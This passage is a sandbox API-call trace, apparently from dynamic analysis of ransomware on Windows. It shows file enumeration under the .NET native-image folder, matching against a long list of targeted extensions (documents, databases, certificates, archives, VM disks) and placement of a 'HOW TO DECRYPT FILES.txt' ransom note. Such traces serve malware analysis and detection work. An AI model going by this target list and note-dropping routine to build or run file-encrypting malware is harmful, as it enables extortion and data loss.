(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.356] lstrlenA (lpString="*.dat") returned 5 [0103.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.356] lstrlenA (lpString="*.txt") returned 5 [0103.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.356] lstrlenA (lpString="*.jpeg") returned 6 [0103.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.356] lstrlenA (lpString="*.jpg") returned 5 [0103.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.356] lstrlenA (lpString="*.png") returned 5 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.357] lstrlenA (lpString="*.php") returned 5 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.357] lstrlenA (lpString="*.cs") returned 4 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.357] lstrlenA (lpString="*.cpp") returned 5 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.357] lstrlenA (lpString="*.rar") returned 5 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.357] lstrlenA (lpString="*.zip") returned 5 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.357] lstrlenA (lpString="*.html") returned 6 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.357] lstrlenA (lpString="*.htm") returned 5 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.357] lstrlenA (lpString="*.xlsx") returned 6 [0103.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.358] lstrlenA (lpString="*.xls") returned 5 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.358] lstrlenA (lpString="*.mp4") returned 5 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.358] lstrlenA (lpString="*.ppt") returned 5 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.358] lstrlenA (lpString="*.pptx") returned 6 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.358] lstrlenA (lpString="*.doc") returned 5 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.358] lstrlenA (lpString="*.dot") returned 5 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.358] lstrlenA (lpString="*.docx") returned 6 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.358] lstrlenA (lpString="*.7z") returned 4 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.358] lstrlenA (lpString="*.tar") returned 5 [0103.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.359] lstrlenA (lpString="*.bz2") returned 5 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.359] lstrlenA (lpString="*.gz") returned 4 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.359] lstrlenA (lpString="*.mkv") returned 5 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.359] lstrlenA (lpString="*.eml") returned 5 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.359] lstrlenA (lpString="*.msg") returned 5 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.359] lstrlenA (lpString="*.edb") returned 5 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.359] lstrlenA (lpString="*.accdb") returned 7 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.359] lstrlenA (lpString="*.odb") returned 5 [0103.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.359] lstrlenA (lpString="*.java") returned 6 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.360] lstrlenA (lpString="*.asm") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.360] lstrlenA (lpString="*.pfx") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.360] lstrlenA (lpString="*.pem") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.360] lstrlenA (lpString="*.p12") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.360] lstrlenA (lpString="*.gpg") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.360] lstrlenA (lpString="*.vsd") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.360] lstrlenA (lpString="*.odg") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.360] lstrlenA (lpString="*.raw") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.360] lstrlenA (lpString="*.nef") returned 5 [0103.360] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.360] lstrlenA (lpString="*.svg") returned 5 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.361] lstrlenA (lpString="*.psd") returned 5 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.361] lstrlenA (lpString="*.vmx") returned 5 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.361] lstrlenA (lpString="*.vmdk") returned 6 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.361] lstrlenA (lpString="*.vdi") returned 5 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.361] lstrlenA (lpString="*.lay6") returned 6 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.361] lstrlenA (lpString="*.mpeg") returned 6 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.361] lstrlenA (lpString="*.djvu") returned 6 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.361] lstrlenA (lpString="*.tiff") returned 6 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.361] lstrlenA (lpString="*.backup") returned 8 [0103.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.362] lstrlenA (lpString="*.pdf") returned 5 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.362] lstrlenA (lpString="*.cert") returned 6 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.362] lstrlenA (lpString="*.docm") returned 6 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.362] lstrlenA (lpString="*.xlsm") returned 6 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.362] lstrlenA (lpString="*.dwg") returned 5 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.362] lstrlenA (lpString="*.nd") returned 4 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.362] lstrlenA (lpString="*.tlg") returned 5 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.362] lstrlenA (lpString="*.lgb") returned 5 [0103.362] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.362] lstrlenA (lpString="*.mov") returned 5 [0103.363] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.363] lstrlenA (lpString="*.xdw") returned 5 [0103.363] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.363] lstrlenA (lpString="*.ods") returned 5 [0103.363] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.363] lstrlenA (lpString="*.wav") returned 5 [0103.363] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.363] lstrlenA (lpString="*.mp3") returned 5 [0103.363] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.364] lstrlenA (lpString="*.aiff") returned 6 [0103.364] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.364] lstrlenA (lpString="*.flac") returned 6 [0103.364] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.364] lstrlenA (lpString="*.m4a") returned 5 [0103.364] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.364] lstrlenA (lpString="*.csv") returned 5 [0103.364] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ead4990, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ead4990, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ead4990, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.364] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.364] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4477d0c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4477d0c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4477d0c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fd1cf4e736d6b312eac977974d613d35", cAlternateFileName="FD1CF4~1")) returned 1 [0103.364] lstrcmpA (lpString1=".", lpString2="fd1cf4e736d6b312eac977974d613d35") returned -1 [0103.364] lstrcmpA (lpString1="..", lpString2="fd1cf4e736d6b312eac977974d613d35") returned -1 [0103.364] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.364] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="fd1cf4e736d6b312eac977974d613d35" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35" [0103.364] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35") returned 100 [0103.364] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4477d0c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4477d0c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4477d0c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.365] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.365] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4477d0c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4477d0c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4477d0c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.365] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.365] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.366] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446be9e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x446be9e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x446be9e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.366] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.366] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned -1 [0103.366] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned -1 [0103.366] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned -1 [0103.366] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\*.*") returned="*.*" [0103.366] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\" [0103.366] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\") returned="" [0103.366] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\HOW TO DECRYPT FILES.txt") 